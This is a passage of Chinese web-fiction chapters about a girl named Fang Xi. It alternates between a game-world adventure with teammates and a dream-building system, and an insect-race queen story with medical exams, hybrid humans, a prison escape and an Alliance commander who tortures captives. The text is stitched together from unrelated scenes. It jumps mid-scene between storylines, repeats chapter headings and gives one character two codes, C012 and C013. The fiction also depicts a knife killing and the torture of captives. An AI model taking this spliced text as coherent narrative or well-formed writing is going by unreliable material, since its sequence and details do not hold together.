【您的队友“一夕”，已完成高级赏金任务《扣押破坏农田的校服少女》！成功获取造梦经验值1000点！正在呼呼大睡不知天白天黑的您，实在是沾了队友的光，同步获得1000点造梦经验值！】 【您的队友“踏樱”，已完成高级赏金任务《逮捕咒骂小镇居民的黑壳之书》！成功获取造梦经验值1000点！正在慢悠悠吃早餐的您，堪称本世界最好吃懒做的人类……总而言之，您已同步获得1000点造梦经验值！】 自从踏樱和一夕在凌晨三点出门之后，造梦系统就一直叮咚叮咚响个不停，方羲被吵烦了，一怒之下把系统静音！ 世界安静了。 方羲继续沉睡。 “你们可以离开了。”方羲冷淡地说。 随后，一众混血者被虫族领着离开。 “陛下。”卡蕊莎站在方羲身后，轻声说，“他们的生命很脆弱，恐怕很难实现你所期望的事情。” 方羲却说：“我已然认可了他们。由他们亲自终结这条罪恶的道路，难道不是更有趣吗？” 而她将蛰伏于暗处，必要时助推一把。 “……我明白了。”卡蕊莎说，其实她难以想象女王陛下会做出这样一个奇怪的决定。 但方羲也不容置喙，她不想再多说什么，转身离开。 卡蕊莎快速地跟了上去，顺便一记眼刀止住了想要跟随的其他虫族：“不要做多余的事。” 在方羲走远后，终于出现一道声音打破了寂静无声的大堂，对方幽幽地说：“卡蕊莎殿下的做法似乎不太稳妥，我们应该给陛下配置至少十名以上的侍卫。” 另外一位雄虫轻笑一声，平静地说：“如果我们随意去接近陛下，恐怕只会成为一滩肉泥。” “…………”雄虫不满地咬咬牙，但想到女王陛下即使外形年幼无害，却拥有着宛如天穹不可逾越的巨大威压，刚刚的自己甚至连一声大气也不敢出。 雄虫最终也只能无奈地按捺下自己过于天真的妄想，不再出声- “陛下，我们现在可以为您重新做一遍身体检查吗？”卡蕊莎试探性说。 方羲微微点头。 在混血者赶来太阳之城的一日路程中，方羲已对治疗中心的地理分布了如指掌，每一寸土地都被她无形之中布下了黑线。 她们很快到达了目的地。 相比其他虫族需要严格遵守智能扫描的审批程序，方羲脚步无声无息，随意地踏入这间医疗室。 智能AI没有给出任何提示，仿佛默认了方羲的进入。 此处的治疗室唯一的研究主题只有方羲的身体情况。 无休无止的对话声，仪器相互碰撞的细微碰撞声，都在方羲进入治疗室的那一瞬间全然消失。 “陛下。”所有虫族统一停下手里的工作，语气里无不充满敬意与憧憬。 “……”方羲思及她过去对治疗室的印象，黑暗压抑、死气沉沉、至始至终弥漫着恶心的糜烂气味，似乎和现在大不相同。 这里连虫族脸上也多了几分称之为欢快的情绪，像是被注入了鲜活的生命力。 ——虽然身上的衰败气息仍在，但已经淡了很多。 方羲记得她伪装为混血者的那段时间并非如此，虫族精神状态像一根摇摇欲坠将要崩断的线。 宽阔的治疗室除了方羲和卡蕊莎，也许是提前告知过的缘故，统共只有七位虫族。 “他们都是医疗领域的专家。”卡蕊莎解释道，“关于您身体的详细情况，已被列入最高级机密情报，只有主要负责治疗过程的我们，还有德里安阁下完全知情。” 其中一名金棕色头发的雄虫笑意盎然，眉眼细长。和其他表现得谨慎乖顺的虫族不同，他湛蓝如大海的眼睛安静大胆地注视着方羲。 方羲颇为冷淡地瞥了他一眼，雄虫似乎也没有受到丝毫打击的样子，笑意更深。 “那是什么？”方羲问，视线缓缓落在屏幕上不断增长变化的医用术语。 卡蕊莎顺着方羲的视线看去，说：“陛下，这就是您的身体数据。根据您之前在R27星的精神暴动，您的精神力超越了历史阈值，却不太稳定，长期处于低值范围。” 她顿了顿，语气又似乎带着由衷的敬佩：“但您的攻击力和威慑力非常强大，甚至是……超越了幼生期一般而言的最高限度。” 这时，金发虫族若有若无看了眼卡蕊莎，又迅速移开，重新安静注视着方羲。 方羲说：“现在要做什么？” “其实只需要抽取一点血样。”金发虫族在卡蕊莎之前开口，笑眯眯地接话，“但有件更重要的事情。陛下，我们会尝试与您建立精神链接。” ——精神链接。方羲闻言想起当时所见的那片浩瀚星辰，它凝聚着所有虫族的意识和生命。 “我拒绝。”方羲冷淡地说。 她隐隐觉得，现在的自己不必过于着急接触这些。更何况，方羲私心始终与“虫族”保持着一种疏离的状态。 金发雄虫一愣，神色愕然，但很快反应过来，从善如流地说：“抱歉，我以为……是我逾越了。那么只需要一点血样就好，当然，陛下如果不想抽血也是可以的。” 在方羲昏迷的半年时间中，虫族凭借精湛的医疗技术，已然修复了方羲身上所有伤痛，余下的只是长期的身体疗养。 安纳斯曾受过德里安的提醒，现在唯一重要的事情，便是让方羲略微消除对虫族的防备和厌恶。 想到这，安纳斯不由得有些懊恼自己刚刚冲动的言语。 “不用。”方羲坐到一边，平声道，“抽吧。” 以前没有恢复的条件，方羲想趁这次机会多让自己的身体更坚强一点。 方羲一直都非常清楚，防御是她最致命的弱点。 抽血的过程一点感觉也没有，安纳斯动作极其轻柔，完全不像外表显露出来那样随意。方羲平静地看着支管里血液，颜色鲜艳欲滴。再稍微抬眼，注意到在场的虫族表面看似没什么变化，气息却有极其隐匿的絮乱，连卡蕊莎眼神也似有似无落在支管上。 一种埋藏于幽暗之处的渴慕感，又或者说，压抑到极点而反弹的反噬恶念。 方羲神色平静，微垂下头，装作一无所觉。 在安纳斯为方羲抽取血液时，方羲瞥见他露出肌肤上有细微的深黑裂痕，于是便好奇地问：“你们的衰败周期什么时候结束？” 安纳斯笑了笑说：“两到四年内会逐步消除，但好在陛下您的出现，就算什么都没做，我们的身体也会自动得到缓解，现在位于R27星上的高等虫族已经基本摆脱这次衰败周期。” ——安纳斯的潜台词意味着，其他星球和二等及以下的虫族尚未得到解救。 方羲眼睛一亮，看向宋白玉的眼神顿时不一样了！ “你面试通过了。”方羲一锤定音，“你就是我们队伍的第四个钱包……呃不，队友！” 方羲激动之下，最后两句话实在没控制好音量，被其他五感敏锐的首席玩家一起听了去。 什么？听错了？什么钱包？ 他们忍不住重新看了看还没收好的海报。 【招募标准：有钱即可。】 一时之间，所有人面露古怪。 第 145 章 第 145 章 总而言之，最后的招募结果让方羲非常满意。 毕竟是收获了两个大钱包。 看着其他三个人收拾好简陋的小摊位，方羲轻抚怀里的毛茸茸生物，在心里琢磨着接下来该干什么好呢。 据秦淮月和宋白玉二人所言，他们的职业都是战士，这也的确符合这二人的作战风格。 宋白玉本来想喊收藏家，但马上想到身份不对，舌头立刻拐了个弯：“队长，你们昨天是住哪？我和秦队搬过来和你们一起住吧？” 方羲看向踏樱。 她昨晚在酒后微醺的状态，被某两只人类强行拉走，所以根本不知道那间旅馆的名字。 踏樱立刻报了一下旅馆的坐标和房号。 方羲安静凝望着这名与众不同的混血者。 与其他死气沉沉的混血者不同，她感知到C013情绪里虽然同样带着几分绝望和颓废，但更多的是不甘于此的生机勃勃。 这是人性最复杂有趣之处。 C013的体内基因和思维方式已接近于异化，方羲从她身上散发出的气息中得知，她的身体可以与虫族基因完美兼容，现在只不过是时间问题而已。 C013姣好的面容上露出一个微笑，再次开口道：“我想是的。从我签订改造条约起，我就不算一个完整的人类了，毕竟人的世界对我来说也没什么可留恋。” 随着此话一出，周围其余的混血者似乎有些骚动，有人不可置信地抬头寻找声音的主人。 也许是有人终于抵抗不住来自虫族天然性的威压，受到C012离经叛道话语的刺激。其中两个混血者直直冲向C013的方向，身体霎时间暴露出怪异的足肢鳞片，声音尖利刺耳：“你这个疯子！！凭什么讨好他们？明明是虫族毁了我们的一切！” 卡蕊莎保持着温和笑意，轻轻瞥了一眼他们，状似平和的眼神却暗藏着无尽威胁之意。其他监守的几位虫族反应迅速，上前阻止这两名混血者堪称不自量力的自爆举动。 “别杀他们。”卡蕊莎语气平淡地说。 “是。” 方羲不为所动，只是好奇地打量了几眼，一男一女，身上的虫族气息比其他人稍微浓厚一点，却有强烈的不协调感，于是方羲转头询问卡蕊莎：“他们是谁？” 与面对其他虫族或混血者态度一贯冷酷不同，卡蕊莎与方羲对话会多出几分真挚的温柔：“来自联盟首都星的内部人员，他们最初目的是借此探查我们的科技资源和信息机密，顺便让自己的身体力量得到提升。” 其实基因改造大多由虫族动手，他们科技水平极高，但依然避免不了较高的死亡率，因为人类无法承受凶悍的虫族基因。 联盟通过和虫族的谈判，交换来了一点科技机密。 基因改造的灰色地带由此而生。 可惜联盟动手的基因改造死亡率高得惊人，大部分都成了人不人鬼不鬼的怪物，极偶尔才能做出几个有效的混血者。 比起正统的混血者，联盟更倾向于制作用于操控和影响虫族的工具载体。 卡蕊莎又说：“只不过，根据协约规定，自然不能未经审批就随意与联盟交流，联盟那边也从没有主动联系这两个人的请求。他们也不愿意履行缓解虫族精神崩溃的义务。” “我稍微调查过他们具体经历。”卡蕊莎不疾不徐地说，“他们原本是人类中掌权者之一的手下。以人类的观念来看，行事作风非常恶劣，喜欢压榨剥削下位者。” 卡蕊莎尽可能给出所有信息，以供方羲下决定。其实虫族并不在乎混血者的过往来历，只要求他们履行义务。但由于这两个混血者的不配合，自然更加招虫族厌恶，长期下来，这两名混血者的精神状态也就岌岌可危。 混血者当中也有不少喜欢找借口逃避，他们只是其中之二，恰好今天出现在这里。 没想到一切谋划始终在虫族的注视之中，两位混血者脸色更加惨白。 “那她呢？”方羲重新看向C013。 “一个普通的联盟低等星公民。”卡蕊莎说，“如您所言，她的潜力很高，与虫族基因非常兼容，甚至不需要饮用过多的基因修正剂。” 方羲再次环视了一圈，轻易提取出每位混血者细微的表情变化，大多惶惶不安。 她见混血者的目的很简单。 基因改造已成为了一道明确的产业链，以弱小的虫族为原料，也迫害联盟同样底层的人类。 混血者终究不能久留。 如果让虫族自己去处理，方羲觉得他们只会采用斩草除根的杀戮做法。 但幽暗粘稠的欲望总是无处不在。 方羲一步步走下高台，走到C013面前，看着这名只需要她动用万分之一力量、就能死在自己手中的混血者。 C013似乎不太善于伪装，喜怒分明，连伪装而出的恐惧也这样拙劣，但此刻却有些困惑迷茫地与方羲对视，动了动嘴唇，最终也没主动开口继续说话。 方羲伸手抽出腰间的匕首，刀身在灯光下反射出危险的光芒。 C013心脏猛地跳动了几下，紧张地看着方羲的举动，却冥冥之中感觉女王其实无意伤害她。 思考和动作只发生在顷刻瞬间，方羲将匕首递出，语调平静地说：“我给你一把刀，由你去亲手杀了他们。” C013顿了顿，垂眼盯着方羲手里的锋利刀刃，然后不由自主接过——她本以为向来胆小的自己会抵抗这种事。 方才那两名冲她而来的混血者，等级在她之上，也毫不掩饰对自己的杀意。他们连在癫狂状态下，也没有勇气对任何一名虫族动手。 虫族奉予方羲的武器，自然非同寻常，不需要太多的技艺，轻而易举便可伤人。 二人惊恐万状，却被虫族封住了嘴巴，什么也不能说。C013脚步快速地走向他们，虽然手法不甚熟练，却没有丝毫拖泥带水，直直将匕首刺入其中一人的腹部。 然后是第二个……血液沾上了C013的手。 她发现自己并没有想象中的不适，反而感到一阵轻松。 方羲脚下生出几道黑线，蔓延至C013身上，又转瞬即逝。 此时有个别的混血者才后知后觉地反应过来，C013这是在为自己谋取利益，即使想效仿也已经晚了。 “你需要……我再做些什么吗？”C013试探性问。 “此后不会再有混血者诞生。”方羲说，“我分给你一点力量，也会提高你的权限信息，你去销毁联盟所有试图再造混血者的灰色势力。如果顺利，你们自然可以重回光明之下，直到生命终结。” 四周一片寂静，所有混血者顿时明白了方羲的意思，连呼吸也忍不住放轻。 C013的心情也轻快起来，方羲的话语意味着承诺她性命无虞，眼睛仿佛凝结成的美丽宝石，熠熠生辉。 “但一切的前提是，不能将利刃对向我。” 学校老师也从不帮助这名可怜的同桌，甚至会告诫它同学之间一定要友爱相处，多忍让一下方羲…… 这究竟是个什么松弛度拉满的学校啊？ 不，他是说……原来收藏家在学生时期，居然还是一个混世大魔王吗？ 宋白玉大受震撼。 第 146 章 第 146 章 方羲回到旅馆的时候，带宋白玉去她们临时租的房间看了一圈（三房一厅），然后才下楼准备给他和秦淮月分别开个新的套房。 “你们昨晚住哪？” “伊甸园公会提供的住宿。”宋白玉说，“大部分密匙玩家都在那。” “哦……” 不就是昨天她们路过的那豪华一层？ 方羲内心流下了羡慕的泪水。 虽然宋白玉说她们三个新晋玩家也可以一起去伊甸园公会住，但方羲觉得这么做实在太显眼了。 做人类还是低调一点比较好。 更何况踏樱似乎对生活品质颇有追求，居然选择了仅次于豪华间的高级房！这让方羲昨晚在大床上睡得很舒服，她深感满意。 方羲正想跟前台说话，不料这名工作人员头一撇，明晃晃地不愿意看她！ 方羲：“……” 方羲决定摆烂，让宋白玉自己解决。 她的生死被牢牢握在这些强大的虫族手中。 方羲在这一刻，无比清晰认识到这个事实。但不知道为什么，明明基因告诉她优胜劣汰是非常正常的丛林规则，心中却依然生出几分违和感。 就好像掌握生死大权应该是她才对。 但这些思绪只在方羲脑海里短暂地停留了一会，她尚没有余力过多深究。 回到单间，七天以来方羲一直待在这里，借睡觉减少精力的损耗，然后一干二净吃掉定时配送来的食物。 但方羲的饥饿感并没有丝毫缓解，反倒徒生某种怪诞的吞噬欲望。 感官无限放大，即使隔着特质的金属墙壁，方羲也捕捉到四周来往虫族的脚步声和交谈对话，以及汩汩流淌的血液声。 好饿。 方羲情绪有些克制不住的暴躁，忍不住用手抓着墙壁，留下几道清晰的划痕。 “出来。” 今天似乎和往日不同，红发雄虫忽然出现，仿佛有什么要事似的，直接粗暴地拉起方羲想带她离开。 方羲抬眼，恰好与雄虫对视上，眼里透出一丝厌烦。 雄虫下意识愣了一下，但马上冷声着说：“你应该庆幸自己还有利用价值。” 方羲重新被带进上次去的纯白空间，空气中始终弥漫着一阵糜烂的劣质香味。 尸体的数量也比上次多了。 耳边传来细微的低语声，方羲疑惑地环视了一圈，以为是自己听错了。 一道视线落在方羲身上，她同样回望过去，是上次所见的医者。 他似笑非笑地看着方羲，像是发现了什么有趣的东西，懒懒地说：“让她过来，我来给她检查。” 方羲被强制按在椅子上，冷漠地看着医者慢悠悠地整理仪器。他饶有兴致地对方羲说：“看来是低估你了，至少你还有点精神力在。嗯……这样也好。” 就在针管插入方羲手臂的前一刻，眼角瞥见奄奄一息的雌虫，她突然心神一动。 方羲手心生出几条极其纤细的黑线，弯弯曲曲缠绕住医者的动作，连带针管也被毁坏。 “……”医者脸上轻松的神情顿时消失，皱起眉头，停下了手里的动作。 但新生的黑线并没持续多久，医者连一丝挣扎也没有，它就自己如烟消散了。 “呵。”医者冷笑一声，原本看似散漫懒散的模样全然消失，眼睛露出一丝暴戾，再次将针管插进去，抽出深红的血液。 我好弱。方羲失望地想。 她不再试图做些违逆的举动，顺从一切繁琐的检查。 然后方羲被关进了没有光线的监狱，和其他雌虫一起。 时不时要接受检查，抽取大管的血液，甚至是忍受其他虫族无由来的恶意。方羲发现有的雌虫送回来后总是一身伤，然后无声无息地死去。 尸体通常也不会在监狱呆太久，总是很快有虫族来处理。 方羲躲在暗处，平静地注视着这些疯狂得失去理智的虫族，他们不带一丝同族的怜悯和仁慈，连尸体也物尽其用。 偶尔也会有其他强大的雌虫来复杂带她们出去，这些雌虫一举一动都透露出强大的气息，但行事也没什么两样。 方羲在监狱漫长的时间中无意识学会了“隐藏。”慢慢地，很少有虫族注意到她的存在。 就这样，方羲安静无声地藏在监狱里，一点一点积蓄自己的力量，至少现在来说，她善于蛰伏。 有一天，监狱被带出去了很多雌虫，回来的却很少。 巨大的监狱里一下子变得空落落的。 方羲观察着旁边为自己舔伤的雌虫，第一次主动开口说话，好奇地问：“你们出去做了什么？” 雌虫微愣，才发现附近有方羲的存在，轻描淡写地说：“听说最近的资源越来越少了，对我们这类血肉的需求量当然也更大。” “你不害怕死亡吗？”方羲问出一个她疑惑很久的问题。 方羲懵懂地察觉到，所有关在监狱的雌虫，并没有太多像她一样的不甘和憎恶感，大多数一种源自精神的深度疲惫。 就好像，她们完全不会试图反抗现在所处的境地。 见方羲一脸困惑的样子，雌虫神色诧异，然后眼睛染上某种奇异的狂热，喃喃自语道：“为什么要害怕？我们所做的一切，都是为了延续虫族的未来。” “你……不知道吗？”雌虫似乎皱了皱眉头，难以理解地说，“你可真奇怪。” 但雌虫似乎没有过多心情和方羲继续交谈下去，而是陷入一种消沉的状态：“我的时间也不多了，也不知道什么时候可以见到……” 念到最后两个音节，雌虫的声音微不可闻。 方羲沉默地看着她，心里却翻滚出一阵强烈的毁灭欲。 再三日后，方羲发现这只与她交谈过的雌虫，已经成为了一具尸体。 “把所有还活着的都带出来。”外面传来一道沙哑的声音。 方羲心中闪过一阵不妙的预感，她立刻选择跟着其他虫族走了出去。 没过多久，高大虫族似乎操作了下设备，监狱内部结构立刻发生极为诡异的变化，墙壁化成一片片利刃，将所有尸体一并吞入。 “……” 真危险。 看来一直隐藏在同一处也不是个万能的办法。方羲有些忧愁。 如果顺从地跟上去，那便会面对更多更强大的包围。 方羲垂下眼帘，轻握手心，手臂徒然出现几道弯曲交织的黑线，又转瞬即逝。 脚下影子突然分裂，多出一团往外游去，游到无人注意的角落，再升高站起，幻化另一个一模一样的方羲。 而跟着队伍的方羲，美丽的异眸黯淡下来，仿佛死物一般。 就在快要到达目的地时，方羲趁着间隙，灵敏地跑了出去。 “滴——”随着方羲所经之处，四处纷纷亮起危险的红光，死死焦距在她身上。 彼时的方羲，即使诞生至现在，力量似乎一直在无师自通地增长，但分化而来的隐匿能力还远没有达到绝逃过科技眼睛的程度。 更何况“替身”并未分到太多力量。 【捉住她】 东拐西拐，绕过无数个弯弯曲曲的拐角。方羲感觉到身后的追踪越来越近，而且四周的科技设备也时不时放出点障碍让她徒生烦恼。 无数薄刃自身后袭来，前方只有长长的廊道再没有别的拐角，方羲拉紧身上的黑袍，因为长久的奔跑体力不支，一时翻滚倒在地上。 方羲下意识放出黑色线条织成网状作以防护，但薄刃很轻易就撕破她制成的防护网。 “我该说你天真吗？”是方羲所熟悉的那名红发雄虫，对方语气甚至带上了一丝困惑，“是什么原因让你做出这样愚蠢的举动？” 不远处也有几名虫族正往这边而来。 方羲从地上勉强爬起来，脸色惨白没有血色，刻意做出乞求的姿态：“放了我。” 雄虫非常不悦地皱着眉头，方羲看似身处下位在卑微地请求他，眼睛却没有丝毫感情，语气和说话内容好像无意识带着一种命令感。 “放了我吧。”方羲又重复了一遍。 但雄虫没有再给方羲任何说话的机会，锋利的足肢穿透方羲的胸口。 啪嗒。 方羲眼睛陷入彻底失焦的状态。 但雄虫却没有继续下一步动作，神色不明，仿佛发现了什么，眼睛里似乎有些茫然和恍惚。 替身的方羲很快从疼痛中清醒过来，抬起手，抓住还在她心口处的足肢，生出无数道散发出浓郁雾色的黑线。 在接触死亡的那瞬间，方羲冥冥之中像是抓到什么模糊的真相，体内某种物质重组。 “我……” 所谓的请求，也许算是方羲在给他们机会。 无穷无尽的恐惧愧疚压倒了他的一切，但雄虫根本来不及做些什么，顷刻间就被方羲的黑线吞噬。 而替身也同时失去呼吸，身体化作无穷无尽的黑线、藤蔓甚至奇异的黑雾，往四面八方蔓延。 另一边，方羲顺利找到了基地的大门。 她伸手微微摸了摸自己心口处，再看时发现手掌已沾满了血液。 五感似乎因为疼痛更灵敏了。 “这个星球上所有机械都坏了。”一道冷淡克制的声音从背后传来，似乎还隐隐压抑着巨大的痛苦，“我……我们现在无法替您联系到外界。当初的血液检测为什么没有发现您的存在……” 方羲回头，漠然地看着医者，一言不发。 四周的墙壁深受黑线侵蚀，染成一片墨色，速度缓慢地爬上医者的全身。 ——像是某种残酷的凌迟。 医者向来高高在上的神情不复存在，露出一种无措茫然的姿态，动了动嘴唇，最终还是放弃了为自己的无谓辩解，而是小心谨慎地说：“您受伤了，需要及时治疗。” 面前的瘦小雌虫心口处完全没有自愈的趋势，流淌出滚烫鲜血，空气中除了血味，还带着遥远雪山的透骨寒意。 方羲微微一笑，异色眼眸仿佛盛满宇宙星辰，声音极轻地说：“来成为我的食物。” “这样你们就能延续我的生命。” “毕竟这是你们唯一的价值。” 万籁俱寂。 无数黑线和藤蔓将方羲包裹在内，她将一切吞噬完毕之后，陷入了长久的沉睡。 漫长的时间过后，方羲缓缓醒来，疑惑地回忆了一下，很多记忆像是蒙尘看不清楚。虽然只有细碎的记忆片段，但情感却异常清晰。 方羲在残破的实验基地四处转悠了一会。 这里已经没有其他任何虫族了。 走出基地围墙，方羲眼睛倒映出附近密密麻麻的奇怪生物，身体扭曲怪诞，似乎在基地周围盘旋，却又忌惮着什么不敢靠近。 ——除此之外，世界一片荒芜。 【——明天，是死亡与新生相逢的日子！我们将迎来伟大的黑山羊之神！她会亲自到访蝴蝶小镇，投下祝福的一瞥！为了让黑山羊的注视更长久，为了我们能够得到更多的祝福！明天请带上您最珍贵的宝物，前往小镇的神圣广场，为我们伟大的黑山羊献上祭品！】 【避免某些小镇居民不懂事，献上一些黑山羊不喜欢的东西，触怒黑山羊并且导致无妄之灾降临蝴蝶小镇。因此小编在此给诸位提前进行提醒，请勿携带以下祭品：没人要的臭袜子、过期的甜甜圈、无法使用的天球仪、偷来的心脏或大脑、收藏家的苹果……】 【小编建议您献上黑山羊更喜欢的东西，清单如下：人偶师、人类的书籍、橘色的猫猫、温柔的藤蔓、话多的旅行家……】 方羲揉了揉眼睛，怀疑自己看错了。 什么玩意？ 艾莉克萨在这个世界里，居然被供奉成了神祇？ 【对了！我们今天雇佣了一群极其特殊的成员，在正式献上祭品之前，它们会为伟大的黑山羊献上一舞。建议诸位早点起床，来观看专业人员的舞蹈！非常值得观看！】 【至于第二天的节日……请在明天傍晚时分，寻找爱卖报纸的小孩，购买一份黄昏的晚报，上面将会预告第二天的节日内容！诸位敬请期待！】 【什么？你问为什么蝴蝶小镇以前没有这样的节日？】 【真不好意思，因为这是“世界”新生成的内容，小编也是才刚刚知道呢！】 第 147 章 第 147 章 方羲看完了报纸。 方羲写完了一封投诉信，并寄给黄昏晚报的小编。 方羲看了看时间，觉得该睡觉了。 “没什么重要的。”方羲看了看四名满脸严肃、跃跃欲试的队友，把报纸随手丢在一边，敷衍地说，“但我们明天早上可以去神圣广场看人跳舞。” “跳舞？” “应该是吧，报纸上是这么说的。”方羲从沙发上爬起来，伸了个懒腰，往自己的专属房间走去，“我去睡觉了，你们记得明天早上八点起床，据说广场的活动会在八点开始。” 猫猫也立刻蹦下沙发，可可爱爱地跟上方羲。 八点开始……但八点起床。 格罗希亚发了通讯让利维一同过来与内森尼尔谈话。 利维身上还带着战斗留下的难以自愈的伤口，脸色发白，但理智还在线，紧紧皱着眉头看着格罗希亚传送过来的监控录像。 原本缠绕在内森尼尔身上的蔷薇和藤蔓，已被医护人员解除下来放置在保护皿内。 “你要尽可能回忆当时所有的细节。”格罗希亚直入刀枪地说。 按理来说，他们应该去审讯室交流，以便更好探查事情的真相，但内森尼尔并非罪犯——他的功绩甚至位列前列。又考虑他身体状况和事态紧急，加之格罗希亚一贯以来直白了当的作风，交谈的场景也就不那么严谨， 内森尼尔视线扫过神情紧张的利维，微微皱起眉头，压下心中的不满。 他略微沉凝了一会，才缓缓回答：“我当时衰败值接近极限，本打算找个清净地跟以往一样挨过去。” 利维注意力从监控记录转移到他的话语身上，微笑着说了一句：“不愧是内森尼尔·斯普拉格，没有几个虫族能像你硬生生忍受衰败周期带来的痛苦。” 格罗希亚瞥了利维一眼，警告他安静。 内森尼尔倒没什么反应，继续淡淡道：“但这次我确实将近死亡，想拿出精神镇定剂饮用。当然，以前的我也预料过有这一天，就提前加固封口。” 说到这，内森尼尔微不可察顿了顿：“然后我将试剂扔了出去，过了一会，它似乎被捡起来了。在那之前，我完全没发现附近有其他存在。” 三名虫族同时静默了一瞬。 “监控录像上也只显示了你。”格罗希亚说，“但试剂确实消失了，倒也能够佐证。你似乎没能看见他？” 内森尼尔简要回答：“视野发黑。” “之后的事，就如你们所见。” 格罗希亚若有所思，毕竟以内森尼尔当时的状态，能够回忆起这些已经不错了。 交谈一时陷入停滞。 内森尼尔拿起床柜上的镜子，照映出他苍□□致的面庞，曾经占据了大半张脸的暗红裂痕几乎褪去。 “真是奇迹。”格罗希亚看着内森尼尔的动作，叹气道，“先不说对方为什么要隐藏自己，但能拥有这样的能力也足够特别。也许不一定是虫族，嗯……的确要掌控它为我们所用。” 利维也赞同地点点头。 内森尼尔一愣，神色古怪盯着两名虫族许久，忽然了然。 “原来如此。”内森尼尔喃喃道，“说到底是时间过得太久了，如果不是亲身经历，完全会陷入思维误区。” “你们难道没想过那种可能性吗？”内森尼尔轻声问，眼神隐隐带上某种偏执的渴望，像是酝酿着可怖风暴，“除了她，还有谁能做到？” “……” 格罗希亚瞬间明白了内森尼尔话语的真实含义。 力量形态相似，拟态是隐匿的衍生能力，身形和性情异于寻常虫族，身边还跟着一个诞生不久却很强大的雄虫……利维脑海倏忽闪过一道身影。 “我有一个猜测。”利维勉强扯了扯嘴角，为近在咫尺的真相感到不可置信，也许只是巧合呢？- 许多宇宙种族对虫族通常抱有极其复杂的感情。 虫族拥有天然强大的实力、绝对理智的思维逻辑和单调执拗的情感系统。从未真正见过他们的星际人类，尚且能夸夸其谈。可一旦遇见任何一只虫族，才会惊觉那种深入骨髓的本能恐惧——他们毕竟是站在食物链顶层的种族。 运气好活下来的话，那也将成为一生挥之不去的永恒噩梦。仅是稍微提到这个虫族的字词，便闻之色变。 但人类又是比虫族情感复杂得多的生物，哪怕面对犹如高山不可攀跃的恐惧之下，似乎也存有一丝微弱的挣扎。 当敌人变成孱弱可欺的羔羊，这点挣扎也就随之转化为强烈的狂喜。 冥河12779号星航指挥官奥斯维德便是如此。 “四百零七。”奥斯维德如数珍家似的，再一次确认缉获的虫族数量。 奥斯维德不会轻易让这帮怪物死掉，为了榨出更多可用的情报，便将一一动用联盟隐藏的酷刑，可惜至今为止也没什么收获。 当然了，这是意料之中的结果，能从虫族嘴里逼出情报的成功例子少之又少。哪怕是高阶精神异能者，入侵虫族意识也难以读取他们的所思所想，反倒会造成自己的暴毙。 但折磨虫族也依然满足了奥斯维德心中隐秘的快感。 可惜全是二三等虫族，奥斯维德看着监控画面上血淋淋的惨相，不甚满意地撇撇嘴。 “奥斯维德长官。”光脑传来通讯，似乎有新的讯息通报。 “说。” “R27星当地的驻守官雷诺兹·塞奇利奥同意对话申请，需要你立即回复。” 奥斯维德微微正色：“不错，现在转接吧。” 要知道能有个与高等虫族对话的机会可不容易，奥斯维德曾听过某个研究学家的通俗比喻：高等虫族和二等虫族的差距是天与地的差别。 他必须借此次机会，争取更多的利益。 不过两秒后，奥斯维德面前的屏幕便出现一道金发金眸的俊美青年，脸色冷淡：“奥斯维德，你的行事作风非常大胆。” ——披着人皮的怪物。 奥斯维德呼吸停滞了一瞬，勉强微笑道：“多谢夸奖。塞奇利奥先生，我们星航上恰巧还有几名混血者，作为一点见面礼，希望可以得到您的宽恕。” “呵……”雷诺兹似乎毫不在意，反倒冷笑一声，“不必了。这次我的目的也只是知会你一声，鉴于联盟在R27星触犯底线的行为，虫族会铭记在心。” “什么？”奥斯维德一愣，心中警铃大作，猛然明白了什么，“不！你们没有资格这么做！” 他似乎引来了虫族未来将至的报复，奥斯维德的身体微微颤抖。 “利用混血者自爆引发我们军队的精神崩坏，这的确是新奇的手段。”雷诺兹微微一笑，眉眼却没带任何笑意，“联盟该为有你这么一个愚蠢自大的指挥官感到懊恼。” 没等奥斯维德回应，雷诺兹立刻切断了光脑通讯。 奥斯维德眼睁睁看着屏幕落回空白。 “一群恶心的怪物！！”奥斯维德疯魔般咒骂，眼睛发红，“没了倚仗也敢这么嚣张？！没关系……只要再等几天，连你们也会沦为阶下囚……” 饶是隔着屏幕，奥斯维德也注意到雷诺兹身上近乎完美比例的躯体。但同样的，他脸上亦隐隐有几道浅红的裂痕，这是衰败周期带来的印记。 愤恨过后，骄傲自满的指挥官奥斯维德感到一阵锥心的后悔，终于隐约明白自己的任性犯下了滔天大罪。 虫族的衰败周期再严重，也总会结束的。届时战力回升的他们，怎么可能忍住不报复触犯了禁忌的奥斯维德？ 另一边，深受混血者自爆事件的雷诺兹，头疼地揉揉眉心。 精神崩坏给虫族带来的负面影响，远比正常的战斗损失严重得多，这意味着虫族离灭亡更进一步。 提到混血者……雷诺兹忽然想起某个行踪奇怪的白发人类。 原本计划将她送离R27星，免得惹出麻烦。但战情衰落得突然，雷诺兹一时之间也顾不上她。 干脆利落打开混血者居住区的监控系统，入目却唯有一片漆黑。 “系统已被非法异常力量损坏……” “连光脑也无法定位？”雷诺兹微愣，金色眼眸流动着危险的思忖。随后他动用权限，只查到对光脑做手脚的是一名虫族，但他的权限似乎低于对方。 雷诺兹第一反应是高等虫族中出现了背叛者——自从德里安阁下撕毁混血条约，模仿女王的混血者便不再享有虫族对其堪称友好的态度。 这也是为什么当初方羲除了别无二致的混血者气息之外，相貌和来历也足够奇怪，雷诺兹却没去刻意探究。 ——她们不再重要了。 虫族能容忍混血者的存在，也是源自某一代的女王的命令。 雷诺兹思及当时方羲身上宛如劣质香水的迷惑气息，身体本能感到作呕抵抗，可他的精神却与之相反。 想触碰她。 想注视她。 …… 雷诺兹压抑下浮现的阴暗欲望，他一直刻意让自己不去回忆那个混血者。 叹气一声，雷诺兹将思绪拉回是谁动用权限屏蔽了她光脑信号的疑惑上。 这份疑惑直到格罗希亚突然联系他，才得以明了。 “雷诺兹，你曾在赤月区见过一名白发异眸的混血者？” “的确如此。” “噢……看来你也没有发现她的伪装。实际上，她是一名伪装成混血者的高等雌虫。” 雷诺兹一惊，顿时了然，迅速回应：“这种消息值得你来特地告知我？” 直白果断的格罗希亚，从来只专注重要大事和决策，细枝末节的事情她大多交给其他虫族处理。 雷诺兹隐隐心生一种预感，心跳越来越沉，浑身发冷。 “内森尼尔的衰败度降低了足足三分之二，对方行踪不明，但根据现有的蛛丝马迹，我们有了怀疑的人选。也就是刚刚提及的白发雌虫，我需要你开放赤月区相关的监控权限。” 格罗希亚略微停顿了几秒，一贯严肃的语气变得轻柔。 她温和地说：“你必然也能明白我话语的真正含义。希望一切顺利。” 